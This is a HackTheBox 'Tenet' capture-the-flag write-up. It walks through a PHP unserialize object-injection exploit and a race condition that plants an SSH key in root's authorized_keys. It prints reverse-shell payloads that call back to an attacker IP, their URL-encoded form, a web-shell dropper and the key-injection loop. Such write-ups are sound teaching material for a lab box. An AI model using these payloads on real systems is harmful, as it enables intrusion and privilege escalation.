HackTheBox: Tenet - Writeup

After finishing Love, I figured I’d go straight over to Tenet, my first Medium box. It was honestly a fantastic experience, with a lot of learnings regarding things like XSS, how PHP handles objects and how important it is to not use random data. Let’s dive in.

Initial overview

Navigating to the webpage using the raw IP reveals the standard Apache webpage that you get when first setting up a server. Running nmap -A along with --script http-enum reveals a Wordpress installation living in /wordpress/, but nothing else. Intuitively, we now know the following:

  1. There’s Wordpress, which means there is also a wp-config.php hosting database credentials.
  2. There’s most likely a MySQL DB running in the background, as that is the standard configuration.
  3. There’s gonna be a blog with posts and usernames!

Going around the blog, we can see that it’s set to use tenet.htb as a hostname, so let’s edit our /etc/hosts to accomodate for that. In one blog post titled “Migration”, we can see a comment from the user Neil:

Comment by Neil

Hidden files

There’s evidently a file called sator.php. Navigating to tenet.htb/sator.php doesn’t work, but using the raw IP does. The only output given is two strings:

[*] Reading users from text file
[] Updating database

Not much to go on. A corresponding users.txt exists, but that also just prints out “Success”. At this point, I was already thinking about a variety of ways to gain a foothold, but at the same time I kept thinking about “the backup” mentioned in the comment. I noticed that a POST request is possible on the users.txt, so I tried sending a request to the text file, reading it in afterwards using sator.php, but nothing happened. I frequently got a HTTP 412 error code when POSTing to users.txt, suggesting this was not the way forward.

The backup is right there

Initially, I was looking for a full Wordpress backup when I read “the backup”, but there was absolutely nothing. Neither were there any MySQL dumps laying about, perhaps a stray .sql file that could be pulled and read offline. Circling back to the comment, after a very big nudge from folks over at Discord, it finally clicked: “sator php and the backup”. It’s a backup of sator.php! And indeed, accessing sator.php.bak prompts a download of a file in Firefox.

Downloading and opening the file reveals the source code:

<?php

class DatabaseExport
{
	public $user_file = 'users.txt';
	public $data = '';

	public function update_db()
	{
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';
	}


	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';
	}
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();

?>

To understand what’s going on and how we can exploit this, let’s run through the most interesting bits:

  • A GET parameter called arepo is queried.
  • The resulting input is run through unserialize().
  • A new class DatabaseExport is created and the method update_db() called.
  • When the script is done, the __destruct() method of each instance of DatabaseExport is called.

The crucial functions we’ll need to focus on are unserialize and __destruct.

How (un)serialization works in PHP

The core idea behind (un)serialization is portability. Serializing a class or any other object ensures that the type and structure is not lost when unserializing at another point in time. PHP implements certain Magic Methods when (un)serializing objects. One of these magic methods can already be seen in the code, namely __destruct(), which is called at the end of the script when all objects are destroyed.

During serialization, PHP calls the magic method __sleep(); conversely, during unserialization, the magic method __wakeup() is called.

An important thing to remember is that, if a serialized class is given to unserialize, the variable now contains an instance of that class. We will see how that is useful in a second.

Exploiting unsanitized user input

There are a few ways to go about exploiting the fact that our input is not sanitized. One of my earliest attempts was to simply create my own class Inject, implement a magic function and then serialize it:

class Inject {
    public $ev = "fsockopen('10.10.17.71', 27562); exec('/bin/sh -i <&3 >&3 2>&3');";
    function __wakeup() {
        if (isset($this->ev)) eval($this->ev);
    }
}

echo urlencode(serialize(new Inject))

For reference, this is what the serialized object looks like:

O:6:"Inject":1:{s:2:"ev";s:65:"fsockopen('LHOST', LPORT); exec('/bin/sh -i <&3 >&3 2>&3');";}

And the full call to sator.php will look like this:

http://<IP>/sator.php?arepo=O%3A6%3A%22Inject%22%3A1%3A%7Bs%3A2%3A%22ev%22%3Bs%3A65%3A%22fsockopen%28%2710.10.17.71%27%2C+27562%29%3B+exec%28%27%2Fbin%2Fsh+-i+%3C%263+%3E%263+2%3E%263%27%29%3B%22%3B%7D

If we implement a listener with nc -lvnp LHOST LPORT, however, we will see that nothing happens. This is because in the background, it will actually throw the following error: object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(6) "Inject"

This is the part where I learned not to use random data. Of course, sator.php does not know about a class called Inject, and so it won’t initialize it. This is because we’re not handing it a class definition, we’re handing it an instance of our (unknown) class. We will have to use an existing class to get our shell.

It’s all one

Let’s take another look at the already existing DatabaseExport class. We know that there are two variables defined in the class, along with a __destruct() function. If we create our own instance of DatabaseExport, it will inherit the already existing methods and run them accordingly. This means that we only have to define our own user_file and data variable and let the __destruct() function handle the rest; it’s guaranteed to be called by PHP when the script ends, even for our own instance.

Our class definition should look like this:

class DatabaseExport {
	public $user_file = "shell.php";
	public $data = "<?php \$sock=fsockopen(\"LHOST\",LPORT);\$proc=proc_open(\"/bin/sh -i\", array(0=>\$sock, 1=>\$sock, 2=>\$sock),\$pipes); ?>";
}

Do not forget the backslashes in the $data variable. Serialize and URL encode an instance of this class. When sending the GET request, the __destruct() function will write the code found in $data to the file defined in $user_file. We can then navigate to http://<IP>/shell.php after defining a listener and we’ve got a shell!

Check your Wordpress

Right now, we’ve got a foothold as the user www-data. As I mentioned earlier, since this box is running Wordpress, there is guaranteed to be a wp-config.php file with database credentials. Sure enough, there’s a database user neil with an accompanying plaintext password. After a quick verification that the user neil also exists on the system itself by checking the /home/ directory, we can attempt an SSH login with the same password. And it works! Goes to show that password re-use can be fatal. We’ve got the user flag.

Enumerating from Neil

Reaching straight for a script like linPEAS is usually noisy and unnecessary. Instead, let’s check obvious things first, like sudo --list. This shows a script called EnableSSH.sh which everyone can run as root. Peeking inside, we see the following:

#!/bin/bash

checkAdded() {
	sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
	if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
		/bin/echo "Successfully added $sshName to authorized_keys file!"
	else
		/bin/echo "Error in adding $sshName to authorized_keys file!"
	fi
}

checkFile() {
	if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
		/bin/echo "Error in creating key file!"
		if [[ -f $1 ]]; then /bin/rm $1; fi
		exit 1
	fi
}

addKey() {
	tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
	(umask 110; touch $tmpName)
	/bin/echo $key >>$tmpName
	checkFile $tmpName
	/bin/cat $tmpName >>/root/.ssh/authorized_keys
	/bin/rm $tmpName
}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded

Again, let’s look at what’s happening in this script:

  • It defines an SSH public key which is to be put into authorized_keys.
  • A temporary file is generated and created with r/w permissions for everyone, plus x permission for others (tip: umask calculator).
  • The previously defined key is written into the file.
  • checkFile checks if the file exists.
  • The temporary file is read out and appended to authorized_key; afterwards, it is removed.

This all happens in less than 30 seconds. The interesting function here is clearly addKey. If we are fast enough, we can “sneak in” our own public key and gain access to the root account that way.

The race is on

So what happens in detail? The command mktemp -u /tmp/ssh-XXXXXXXX defines a template to be used during file creation. All the X are switched out with random characters. However, the command does not actually create the file yet; instead, thanks to the -u flag, a dry-run is executed and only the file name is returned. This leads into the next line, where the file is actually created with the permissions we just highlighted. It is during the next few lines that we have to “intercept” the file, insert our own key, and let the script do the rest.

Unfortunately, we can’t just put a breakpoint in the file - we don’t have write permission. Instead, we’ll have to run our own shell script concurrently with EnableSSH.sh in the hopes of winning this race.

To start off, let’s create our own SSH private/public key pair. I used my non-sudo account on my Kali VM and a random comment for this:

ssh-keygen -t rsa -b 4096 -C abcd

After defining the location to save the key pair and a passphrase, let’s take a look at what our shell script needs to accomplish:

  • It needs to find the temporary file created by mktemp.
  • Once found, our key needs to be appended to the temporary file.
  • The script should exit after the key has been written, as EnableSSH takes over from there.

I took a few cracks at this, with one variation using raw find in combination with -exec, but none of it seemed to work. Eventually, I settled on the following:

ssh="public key"
while [ true ];
do
	r=$(ls /tmp/ssh*)
	if [ -n "$r" ]; then
		echo "$ssh" >> "$r"
		break
	fi
done

This script simply checks for the existence of any /tmp/ssh* file, and once it exists, appends the previously defined SSH key and breaks. It’s by no means elegant, but it gets the job done. It does assume that only one file with ssh-anything exists in tmp, and it will spam a lot of error messages into the console. Suppressing those error message doesn’t work, as the return value then “gets eaten” by bash, so we lose access to the file name.

After running this script and firing up EnableSSH.sh, we can see that our script does break, indicating a successful insertion. However, running ssh -i <keyfile> root@<IP> still gives us a password prompt. What gives?

Do not use random data

Again, I just used random data and worked from my non-sudo account. This doesn’t work. Instead, I tried using both root@ubuntu as a comment (-C flag when using ssh-keygen) and created the key from my root account on the Kali VM. I’m not sure which one of those did the trick, but I’m sure that the variation of the script using find would’ve worked just as well had I created the correct key in the first place. Either way, with the correct key planted in the temporary file, we’ve got full access to the box and root flag!